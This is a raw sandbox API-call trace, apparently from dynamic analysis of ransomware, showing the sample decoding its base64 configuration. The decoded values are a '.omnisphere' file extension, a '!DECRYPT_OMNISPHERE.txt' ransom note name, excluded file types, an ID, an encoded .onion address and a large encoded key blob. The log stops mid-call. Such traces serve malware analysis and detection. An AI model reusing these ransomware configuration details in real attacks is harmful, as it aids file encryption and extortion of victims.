RDUJRhdFP9Zs0CyLTg9QTyE2FAuGRoFuEfMbG5bliWDn98rd8mouxCZ3QduOarN0zyo46tKmcloLPDTIkQw3dtky55PGzirY6gA=;Lm9tbmlzcGhlcmU=;IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=;UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;" [0052.956] GetProcessHeap () returned 0x1600000 [0052.957] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x15) returned 0x163a870 [0052.957] lstrcpynA (in: lpString1=0x163a870, lpString2="LmV4ZXwuc3lzfC5kbGw=;(null);QVAzMhgAAACuAgAAStZPEF8FAAB33PG7IK8BQeKAlF0D/E9tAW5pU3BoZXLL3zdhs3Nv+3e2Focjjw0K9QH8aD9vd7p0Y4Rlc2cMf3n3db+jZmlsRx469ryBAy2hAwoDWTBVUvlQRdFT4E5Bfkw6Rkl79CzDIEhPVJYRO0RB8nRC870meXVS/dxOQ+xZP1BUFEQhOEJzkMGPbu90z2QvbW9nfZUhHONt+2TmHN8yfAdubHku8lRosBNjYXZ03yh9KnPJcnbp3+tiQmZbdNs2MKZSbWs6sO1sxrTiz18u0l5Gow90eRtrPm9G6CyIlHczaEiSZ3DvFVVSLD11ySi39m743a4zhnnbd87DZ2I8ZMNjciiadKmlJEiyobyzVGFoCJYpyJX6mZBj8/0Qyldv+LoUDOAQa9DFzStkNSHxNzZUZ4L9bZFdUE0oCyBBM6mj3Kk2NoAY3z0bdA+0lClQUOA5YnZIeSnQkLmjsOG2J95WYYJnYnSnaYqdVIXtZW87KWi0jzQpSZljA2lwdUEqbKiviN7+JKQiefoo3+4dcTwrX5OZLnEpkqsoKdQUMlFFL23NKry095N6s8lsfHZWKYs/SVPAbiiUNfNwPQhh91EsLPpE75hGCXRydWMaOo3GJQypRExFrdIOuUw/PB9PVSbbxToq7hsxLlQzZG5sYTPEVG9CnhyqZWFhdMVw4Dov4/ckAi6HqrJRatIGzxQUZy9kMN5kVWh+JKGULk+IMhJPCg9uS3IRGTMCSZ4X/+6NKAj75RW3PX2yOv0y0EeiKCWydEykC2I0dldoviyCP4cDY+sHRWvK+UhWtQ4cl39+ppn0cKbVpZDKRWhbRDUJRhdFP9Zs0CyLTg9QTyE2FAuGRoFuEfMbG5bliWDn98rd8mouxCZ3QduOarN0zyo46tKmcloLPDTIkQw3dtky55PGzirY6gA=;Lm9tbmlzcGhlcmU=;IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=;UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;", iMaxLength=21 | out: lpString1="LmV4ZXwuc3lzfC5kbGw=") returned="LmV4ZXwuc3lzfC5kbGw=" [0052.957] GetProcessHeap () returned 0x1600000 [0052.957] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x15) returned 0x163a930 [0052.957] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x163a930, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0052.957] GetProcessHeap () returned 0x1600000 [0052.957] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1e) returned 0x161c568 [0052.957] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x163a930, cbMultiByte=14, lpWideCharStr=0x161c568, cchWideChar=15 | out: lpWideCharStr=".exe|.sys|.dll") returned 14 [0052.957] StrStrIA (lpFirst="(null);QVAzMhgAAACuAgAAStZPEF8FAAB33PG7IK8BQeKAlF0D/E9tAW5pU3BoZXLL3zdhs3Nv+3e2Focjjw0K9QH8aD9vd7p0Y4Rlc2cMf3n3db+jZmlsRx469ryBAy2hAwoDWTBVUvlQRdFT4E5Bfkw6Rkl79CzDIEhPVJYRO0RB8nRC870meXVS/dxOQ+xZP1BUFEQhOEJzkMGPbu90z2QvbW9nfZUhHONt+2TmHN8yfAdubHku8lRosBNjYXZ03yh9KnPJcnbp3+tiQmZbdNs2MKZSbWs6sO1sxrTiz18u0l5Gow90eRtrPm9G6CyIlHczaEiSZ3DvFVVSLD11ySi39m743a4zhnnbd87DZ2I8ZMNjciiadKmlJEiyobyzVGFoCJYpyJX6mZBj8/0Qyldv+LoUDOAQa9DFzStkNSHxNzZUZ4L9bZFdUE0oCyBBM6mj3Kk2NoAY3z0bdA+0lClQUOA5YnZIeSnQkLmjsOG2J95WYYJnYnSnaYqdVIXtZW87KWi0jzQpSZljA2lwdUEqbKiviN7+JKQiefoo3+4dcTwrX5OZLnEpkqsoKdQUMlFFL23NKry095N6s8lsfHZWKYs/SVPAbiiUNfNwPQhh91EsLPpE75hGCXRydWMaOo3GJQypRExFrdIOuUw/PB9PVSbbxToq7hsxLlQzZG5sYTPEVG9CnhyqZWFhdMVw4Dov4/ckAi6HqrJRatIGzxQUZy9kMN5kVWh+JKGULk+IMhJPCg9uS3IRGTMCSZ4X/+6NKAj75RW3PX2yOv0y0EeiKCWydEykC2I0dldoviyCP4cDY+sHRWvK+UhWtQ4cl39+ppn0cKbVpZDKRWhbRDUJRhdFP9Zs0CyLTg9QTyE2FAuGRoFuEfMbG5bliWDn98rd8mouxCZ3QduOarN0zyo46tKmcloLPDTIkQw3dtky55PGzirY6gA=;Lm9tbmlzcGhlcmU=;IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=;UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;", lpSrch=";") returned=";QVAzMhgAAACuAgAAStZPEF8FAAB33PG7IK8BQeKAlF0D/E9tAW5pU3BoZXLL3zdhs3Nv+3e2Focjjw0K9QH8aD9vd7p0Y4Rlc2cMf3n3db+jZmlsRx469ryBAy2hAwoDWTBVUvlQRdFT4E5Bfkw6Rkl79CzDIEhPVJYRO0RB8nRC870meXVS/dxOQ+xZP1BUFEQhOEJzkMGPbu90z2QvbW9nfZUhHONt+2TmHN8yfAdubHku8lRosBNjYXZ03yh9KnPJcnbp3+tiQmZbdNs2MKZSbWs6sO1sxrTiz18u0l5Gow90eRtrPm9G6CyIlHczaEiSZ3DvFVVSLD11ySi39m743a4zhnnbd87DZ2I8ZMNjciiadKmlJEiyobyzVGFoCJYpyJX6mZBj8/0Qyldv+LoUDOAQa9DFzStkNSHxNzZUZ4L9bZFdUE0oCyBBM6mj3Kk2NoAY3z0bdA+0lClQUOA5YnZIeSnQkLmjsOG2J95WYYJnYnSnaYqdVIXtZW87KWi0jzQpSZljA2lwdUEqbKiviN7+JKQiefoo3+4dcTwrX5OZLnEpkqsoKdQUMlFFL23NKry095N6s8lsfHZWKYs/SVPAbiiUNfNwPQhh91EsLPpE75hGCXRydWMaOo3GJQypRExFrdIOuUw/PB9PVSbbxToq7hsxLlQzZG5sYTPEVG9CnhyqZWFhdMVw4Dov4/ckAi6HqrJRatIGzxQUZy9kMN5kVWh+JKGULk+IMhJPCg9uS3IRGTMCSZ4X/+6NKAj75RW3PX2yOv0y0EeiKCWydEykC2I0dldoviyCP4cDY+sHRWvK+UhWtQ4cl39+ppn0cKbVpZDKRWhbRDUJRhdFP9Zs0CyLTg9QTyE2FAuGRoFuEfMbG5bliWDn98rd8mouxCZ3QduOarN0zyo46tKmcloLPDTIkQw3dtky55PGzirY6gA=;Lm9tbmlzcGhlcmU=;IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=;UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;" [0052.957] GetProcessHeap () returned 0x1600000 [0052.957] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7) returned 0x162b8c8 [0052.957] lstrcpynA (in: lpString1=0x162b8c8, lpString2="(null);QVAzMhgAAACuAgAAStZPEF8FAAB33PG7IK8BQeKAlF0D/E9tAW5pU3BoZXLL3zdhs3Nv+3e2Focjjw0K9QH8aD9vd7p0Y4Rlc2cMf3n3db+jZmlsRx469ryBAy2hAwoDWTBVUvlQRdFT4E5Bfkw6Rkl79CzDIEhPVJYRO0RB8nRC870meXVS/dxOQ+xZP1BUFEQhOEJzkMGPbu90z2QvbW9nfZUhHONt+2TmHN8yfAdubHku8lRosBNjYXZ03yh9KnPJcnbp3+tiQmZbdNs2MKZSbWs6sO1sxrTiz18u0l5Gow90eRtrPm9G6CyIlHczaEiSZ3DvFVVSLD11ySi39m743a4zhnnbd87DZ2I8ZMNjciiadKmlJEiyobyzVGFoCJYpyJX6mZBj8/0Qyldv+LoUDOAQa9DFzStkNSHxNzZUZ4L9bZFdUE0oCyBBM6mj3Kk2NoAY3z0bdA+0lClQUOA5YnZIeSnQkLmjsOG2J95WYYJnYnSnaYqdVIXtZW87KWi0jzQpSZljA2lwdUEqbKiviN7+JKQiefoo3+4dcTwrX5OZLnEpkqsoKdQUMlFFL23NKry095N6s8lsfHZWKYs/SVPAbiiUNfNwPQhh91EsLPpE75hGCXRydWMaOo3GJQypRExFrdIOuUw/PB9PVSbbxToq7hsxLlQzZG5sYTPEVG9CnhyqZWFhdMVw4Dov4/ckAi6HqrJRatIGzxQUZy9kMN5kVWh+JKGULk+IMhJPCg9uS3IRGTMCSZ4X/+6NKAj75RW3PX2yOv0y0EeiKCWydEykC2I0dldoviyCP4cDY+sHRWvK+UhWtQ4cl39+ppn0cKbVpZDKRWhbRDUJRhdFP9Zs0CyLTg9QTyE2FAuGRoFuEfMbG5bliWDn98rd8mouxCZ3QduOarN0zyo46tKmcloLPDTIkQw3dtky55PGzirY6gA=;Lm9tbmlzcGhlcmU=;IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=;UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;", iMaxLength=7 | out: lpString1="(null)") returned="(null)" [0052.957] GetProcessHeap () returned 0x1600000 [0052.957] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7) returned 0x162b9d8 [0052.957] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x162b9d8, cbMultiByte=3, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0052.958] GetProcessHeap () returned 0x1600000 [0052.958] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x8) returned 0x162b8d8 [0052.958] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x162b9d8, cbMultiByte=3, lpWideCharStr=0x162b8d8, cchWideChar=4 | out: lpWideCharStr="žée") returned 3 [0052.958] StrStrIA (lpFirst="QVAzMhgAAACuAgAAStZPEF8FAAB33PG7IK8BQeKAlF0D/E9tAW5pU3BoZXLL3zdhs3Nv+3e2Focjjw0K9QH8aD9vd7p0Y4Rlc2cMf3n3db+jZmlsRx469ryBAy2hAwoDWTBVUvlQRdFT4E5Bfkw6Rkl79CzDIEhPVJYRO0RB8nRC870meXVS/dxOQ+xZP1BUFEQhOEJzkMGPbu90z2QvbW9nfZUhHONt+2TmHN8yfAdubHku8lRosBNjYXZ03yh9KnPJcnbp3+tiQmZbdNs2MKZSbWs6sO1sxrTiz18u0l5Gow90eRtrPm9G6CyIlHczaEiSZ3DvFVVSLD11ySi39m743a4zhnnbd87DZ2I8ZMNjciiadKmlJEiyobyzVGFoCJYpyJX6mZBj8/0Qyldv+LoUDOAQa9DFzStkNSHxNzZUZ4L9bZFdUE0oCyBBM6mj3Kk2NoAY3z0bdA+0lClQUOA5YnZIeSnQkLmjsOG2J95WYYJnYnSnaYqdVIXtZW87KWi0jzQpSZljA2lwdUEqbKiviN7+JKQiefoo3+4dcTwrX5OZLnEpkqsoKdQUMlFFL23NKry095N6s8lsfHZWKYs/SVPAbiiUNfNwPQhh91EsLPpE75hGCXRydWMaOo3GJQypRExFrdIOuUw/PB9PVSbbxToq7hsxLlQzZG5sYTPEVG9CnhyqZWFhdMVw4Dov4/ckAi6HqrJRatIGzxQUZy9kMN5kVWh+JKGULk+IMhJPCg9uS3IRGTMCSZ4X/+6NKAj75RW3PX2yOv0y0EeiKCWydEykC2I0dldoviyCP4cDY+sHRWvK+UhWtQ4cl39+ppn0cKbVpZDKRWhbRDUJRhdFP9Zs0CyLTg9QTyE2FAuGRoFuEfMbG5bliWDn98rd8mouxCZ3QduOarN0zyo46tKmcloLPDTIkQw3dtky55PGzirY6gA=;Lm9tbmlzcGhlcmU=;IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=;UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;", lpSrch=";") returned=";Lm9tbmlzcGhlcmU=;IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=;UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;" [0052.958] GetProcessHeap () returned 0x1600000 [0052.958] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x3b5) returned 0x1642068 [0052.958] lstrcpynA (in: lpString1=0x1642068, lpString2="QVAzMhgAAACuAgAAStZPEF8FAAB33PG7IK8BQeKAlF0D/E9tAW5pU3BoZXLL3zdhs3Nv+3e2Focjjw0K9QH8aD9vd7p0Y4Rlc2cMf3n3db+jZmlsRx469ryBAy2hAwoDWTBVUvlQRdFT4E5Bfkw6Rkl79CzDIEhPVJYRO0RB8nRC870meXVS/dxOQ+xZP1BUFEQhOEJzkMGPbu90z2QvbW9nfZUhHONt+2TmHN8yfAdubHku8lRosBNjYXZ03yh9KnPJcnbp3+tiQmZbdNs2MKZSbWs6sO1sxrTiz18u0l5Gow90eRtrPm9G6CyIlHczaEiSZ3DvFVVSLD11ySi39m743a4zhnnbd87DZ2I8ZMNjciiadKmlJEiyobyzVGFoCJYpyJX6mZBj8/0Qyldv+LoUDOAQa9DFzStkNSHxNzZUZ4L9bZFdUE0oCyBBM6mj3Kk2NoAY3z0bdA+0lClQUOA5YnZIeSnQkLmjsOG2J95WYYJnYnSnaYqdVIXtZW87KWi0jzQpSZljA2lwdUEqbKiviN7+JKQiefoo3+4dcTwrX5OZLnEpkqsoKdQUMlFFL23NKry095N6s8lsfHZWKYs/SVPAbiiUNfNwPQhh91EsLPpE75hGCXRydWMaOo3GJQypRExFrdIOuUw/PB9PVSbbxToq7hsxLlQzZG5sYTPEVG9CnhyqZWFhdMVw4Dov4/ckAi6HqrJRatIGzxQUZy9kMN5kVWh+JKGULk+IMhJPCg9uS3IRGTMCSZ4X/+6NKAj75RW3PX2yOv0y0EeiKCWydEykC2I0dldoviyCP4cDY+sHRWvK+UhWtQ4cl39+ppn0cKbVpZDKRWhbRDUJRhdFP9Zs0CyLTg9QTyE2FAuGRoFuEfMbG5bliWDn98rd8mouxCZ3QduOarN0zyo46tKmcloLPDTIkQw3dtky55PGzirY6gA=;Lm9tbmlzcGhlcmU=;IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=;UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;", iMaxLength=949 | out: lpString1="QVAzMhgAAACuAgAAStZPEF8FAAB33PG7IK8BQeKAlF0D/E9tAW5pU3BoZXLL3zdhs3Nv+3e2Focjjw0K9QH8aD9vd7p0Y4Rlc2cMf3n3db+jZmlsRx469ryBAy2hAwoDWTBVUvlQRdFT4E5Bfkw6Rkl79CzDIEhPVJYRO0RB8nRC870meXVS/dxOQ+xZP1BUFEQhOEJzkMGPbu90z2QvbW9nfZUhHONt+2TmHN8yfAdubHku8lRosBNjYXZ03yh9KnPJcnbp3+tiQmZbdNs2MKZSbWs6sO1sxrTiz18u0l5Gow90eRtrPm9G6CyIlHczaEiSZ3DvFVVSLD11ySi39m743a4zhnnbd87DZ2I8ZMNjciiadKmlJEiyobyzVGFoCJYpyJX6mZBj8/0Qyldv+LoUDOAQa9DFzStkNSHxNzZUZ4L9bZFdUE0oCyBBM6mj3Kk2NoAY3z0bdA+0lClQUOA5YnZIeSnQkLmjsOG2J95WYYJnYnSnaYqdVIXtZW87KWi0jzQpSZljA2lwdUEqbKiviN7+JKQiefoo3+4dcTwrX5OZLnEpkqsoKdQUMlFFL23NKry095N6s8lsfHZWKYs/SVPAbiiUNfNwPQhh91EsLPpE75hGCXRydWMaOo3GJQypRExFrdIOuUw/PB9PVSbbxToq7hsxLlQzZG5sYTPEVG9CnhyqZWFhdMVw4Dov4/ckAi6HqrJRatIGzxQUZy9kMN5kVWh+JKGULk+IMhJPCg9uS3IRGTMCSZ4X/+6NKAj75RW3PX2yOv0y0EeiKCWydEykC2I0dldoviyCP4cDY+sHRWvK+UhWtQ4cl39+ppn0cKbVpZDKRWhbRDUJRhdFP9Zs0CyLTg9QTyE2FAuGRoFuEfMbG5bliWDn98rd8mouxCZ3QduOarN0zyo46tKmcloLPDTIkQw3dtky55PGzirY6gA=") returned="QVAzMhgAAACuAgAAStZPEF8FAAB33PG7IK8BQeKAlF0D/E9tAW5pU3BoZXLL3zdhs3Nv+3e2Focjjw0K9QH8aD9vd7p0Y4Rlc2cMf3n3db+jZmlsRx469ryBAy2hAwoDWTBVUvlQRdFT4E5Bfkw6Rkl79CzDIEhPVJYRO0RB8nRC870meXVS/dxOQ+xZP1BUFEQhOEJzkMGPbu90z2QvbW9nfZUhHONt+2TmHN8yfAdubHku8lRosBNjYXZ03yh9KnPJcnbp3+tiQmZbdNs2MKZSbWs6sO1sxrTiz18u0l5Gow90eRtrPm9G6CyIlHczaEiSZ3DvFVVSLD11ySi39m743a4zhnnbd87DZ2I8ZMNjciiadKmlJEiyobyzVGFoCJYpyJX6mZBj8/0Qyldv+LoUDOAQa9DFzStkNSHxNzZUZ4L9bZFdUE0oCyBBM6mj3Kk2NoAY3z0bdA+0lClQUOA5YnZIeSnQkLmjsOG2J95WYYJnYnSnaYqdVIXtZW87KWi0jzQpSZljA2lwdUEqbKiviN7+JKQiefoo3+4dcTwrX5OZLnEpkqsoKdQUMlFFL23NKry095N6s8lsfHZWKYs/SVPAbiiUNfNwPQhh91EsLPpE75hGCXRydWMaOo3GJQypRExFrdIOuUw/PB9PVSbbxToq7hsxLlQzZG5sYTPEVG9CnhyqZWFhdMVw4Dov4/ckAi6HqrJRatIGzxQUZy9kMN5kVWh+JKGULk+IMhJPCg9uS3IRGTMCSZ4X/+6NKAj75RW3PX2yOv0y0EeiKCWydEykC2I0dldoviyCP4cDY+sHRWvK+UhWtQ4cl39+ppn0cKbVpZDKRWhbRDUJRhdFP9Zs0CyLTg9QTyE2FAuGRoFuEfMbG5bliWDn98rd8mouxCZ3QduOarN0zyo46tKmcloLPDTIkQw3dtky55PGzirY6gA=" [0052.958] GetProcessHeap () returned 0x1600000 [0052.958] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x3b5) returned 0x1642a98 [0052.958] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1642a98, cbMultiByte=710, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 710 [0052.958] GetProcessHeap () returned 0x1600000 [0052.958] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x58e) returned 0x1643688 [0052.959] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1642a98, cbMultiByte=710, lpWideCharStr=0x1643688, cchWideChar=711 | out: lpWideCharStr="AP32\x18") returned 710 [0052.961] CryptStringToBinaryA (in: pszString="QVAzMhgAAACuAgAAStZPEF8FAAB33PG7IK8BQeKAlF0D/E9tAW5pU3BoZXLL3zdhs3Nv+3e2Focjjw0K9QH8aD9vd7p0Y4Rlc2cMf3n3db+jZmlsRx469ryBAy2hAwoDWTBVUvlQRdFT4E5Bfkw6Rkl79CzDIEhPVJYRO0RB8nRC870meXVS/dxOQ+xZP1BUFEQhOEJzkMGPbu90z2QvbW9nfZUhHONt+2TmHN8yfAdubHku8lRosBNjYXZ03yh9KnPJcnbp3+tiQmZbdNs2MKZSbWs6sO1sxrTiz18u0l5Gow90eRtrPm9G6CyIlHczaEiSZ3DvFVVSLD11ySi39m743a4zhnnbd87DZ2I8ZMNjciiadKmlJEiyobyzVGFoCJYpyJX6mZBj8/0Qyldv+LoUDOAQa9DFzStkNSHxNzZUZ4L9bZFdUE0oCyBBM6mj3Kk2NoAY3z0bdA+0lClQUOA5YnZIeSnQkLmjsOG2J95WYYJnYnSnaYqdVIXtZW87KWi0jzQpSZljA2lwdUEqbKiviN7+JKQiefoo3+4dcTwrX5OZLnEpkqsoKdQUMlFFL23NKry095N6s8lsfHZWKYs/SVPAbiiUNfNwPQhh91EsLPpE75hGCXRydWMaOo3GJQypRExFrdIOuUw/PB9PVSbbxToq7hsxLlQzZG5sYTPEVG9CnhyqZWFhdMVw4Dov4/ckAi6HqrJRatIGzxQUZy9kMN5kVWh+JKGULk+IMhJPCg9uS3IRGTMCSZ4X/+6NKAj75RW3PX2yOv0y0EeiKCWydEykC2I0dldoviyCP4cDY+sHRWvK+UhWtQ4cl39+ppn0cKbVpZDKRWhbRDUJRhdFP9Zs0CyLTg9QTyE2FAuGRoFuEfMbG5bliWDn98rd8mouxCZ3QduOarN0zyo46tKmcloLPDTIkQw3dtky55PGzirY6gA=", cchString=0x3b4, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x137e158, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x137e158, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0052.962] GetProcessHeap () returned 0x1600000 [0052.962] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2c7) returned 0x1639c00 [0052.962] CryptStringToBinaryA (in: pszString="QVAzMhgAAACuAgAAStZPEF8FAAB33PG7IK8BQeKAlF0D/E9tAW5pU3BoZXLL3zdhs3Nv+3e2Focjjw0K9QH8aD9vd7p0Y4Rlc2cMf3n3db+jZmlsRx469ryBAy2hAwoDWTBVUvlQRdFT4E5Bfkw6Rkl79CzDIEhPVJYRO0RB8nRC870meXVS/dxOQ+xZP1BUFEQhOEJzkMGPbu90z2QvbW9nfZUhHONt+2TmHN8yfAdubHku8lRosBNjYXZ03yh9KnPJcnbp3+tiQmZbdNs2MKZSbWs6sO1sxrTiz18u0l5Gow90eRtrPm9G6CyIlHczaEiSZ3DvFVVSLD11ySi39m743a4zhnnbd87DZ2I8ZMNjciiadKmlJEiyobyzVGFoCJYpyJX6mZBj8/0Qyldv+LoUDOAQa9DFzStkNSHxNzZUZ4L9bZFdUE0oCyBBM6mj3Kk2NoAY3z0bdA+0lClQUOA5YnZIeSnQkLmjsOG2J95WYYJnYnSnaYqdVIXtZW87KWi0jzQpSZljA2lwdUEqbKiviN7+JKQiefoo3+4dcTwrX5OZLnEpkqsoKdQUMlFFL23NKry095N6s8lsfHZWKYs/SVPAbiiUNfNwPQhh91EsLPpE75hGCXRydWMaOo3GJQypRExFrdIOuUw/PB9PVSbbxToq7hsxLlQzZG5sYTPEVG9CnhyqZWFhdMVw4Dov4/ckAi6HqrJRatIGzxQUZy9kMN5kVWh+JKGULk+IMhJPCg9uS3IRGTMCSZ4X/+6NKAj75RW3PX2yOv0y0EeiKCWydEykC2I0dldoviyCP4cDY+sHRWvK+UhWtQ4cl39+ppn0cKbVpZDKRWhbRDUJRhdFP9Zs0CyLTg9QTyE2FAuGRoFuEfMbG5bliWDn98rd8mouxCZ3QduOarN0zyo46tKmcloLPDTIkQw3dtky55PGzirY6gA=", cchString=0x3b4, dwFlags=0x1, pbBinary=0x1639c00, pcbBinary=0x137e158, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x1639c00, pcbBinary=0x137e158, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0052.962] GetProcessHeap () returned 0x1600000 [0052.962] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x55f) returned 0x1643c20 [0052.962] GetProcessHeap () returned 0x1600000 [0052.962] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x560) returned 0x1644188 [0052.962] StrStrIA (lpFirst="Lm9tbmlzcGhlcmU=;IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=;UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;", lpSrch=";") returned=";IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=;UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;" [0052.962] GetProcessHeap () returned 0x1600000 [0052.962] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x163a970 [0052.962] lstrcpynA (in: lpString1=0x163a970, lpString2="Lm9tbmlzcGhlcmU=;IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=;UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;", iMaxLength=17 | out: lpString1="Lm9tbmlzcGhlcmU=") returned="Lm9tbmlzcGhlcmU=" [0052.962] GetProcessHeap () returned 0x1600000 [0052.962] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x163a9d0 [0052.963] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x163a9d0, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0052.963] GetProcessHeap () returned 0x1600000 [0052.963] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x18) returned 0x163a7f0 [0052.963] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x163a9d0, cbMultiByte=11, lpWideCharStr=0x163a7f0, cchWideChar=12 | out: lpWideCharStr=".omnisphere") returned 11 [0052.963] StrStrIA (lpFirst="IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=;UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;", lpSrch=";") returned=";UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;" [0052.963] GetProcessHeap () returned 0x1600000 [0052.963] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x21) returned 0x1640368 [0052.963] lstrcpynA (in: lpString1=0x1640368, lpString2="IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=;UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;", iMaxLength=33 | out: lpString1="IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=") returned="IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=" [0052.963] GetProcessHeap () returned 0x1600000 [0052.963] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x21) returned 0x1640458 [0052.963] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1640458, cbMultiByte=23, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 23 [0052.963] GetProcessHeap () returned 0x1600000 [0052.963] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x30) returned 0x1641090 [0052.963] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1640458, cbMultiByte=23, lpWideCharStr=0x1641090, cchWideChar=24 | out: lpWideCharStr="!DECRYPT_OMNISPHERE.txt") returned 23 [0052.963] StrStrIA (lpFirst="UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;", lpSrch=";") returned=";MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;" [0052.963] GetProcessHeap () returned 0x1600000 [0052.963] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x19) returned 0x1641de0 [0052.963] lstrcpynA (in: lpString1=0x1641de0, lpString2="UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;", iMaxLength=25 | out: lpString1="UkhQWjJBWFlSMlY0SkNJVg==") returned="UkhQWjJBWFlSMlY0SkNJVg==" [0052.964] GetProcessHeap () returned 0x1600000 [0052.964] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x19) returned 0x1641e08 [0052.964] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1641e08, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0052.964] GetProcessHeap () returned 0x1600000 [0052.964] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x22) returned 0x1640488 [0052.964] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1641e08, cbMultiByte=16, lpWideCharStr=0x1640488, cchWideChar=17 | out: lpWideCharStr="RHPZ2AXYR2V4JCIV") returned 16 [0052.964] StrStrIA (lpFirst="MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;", lpSrch=";") 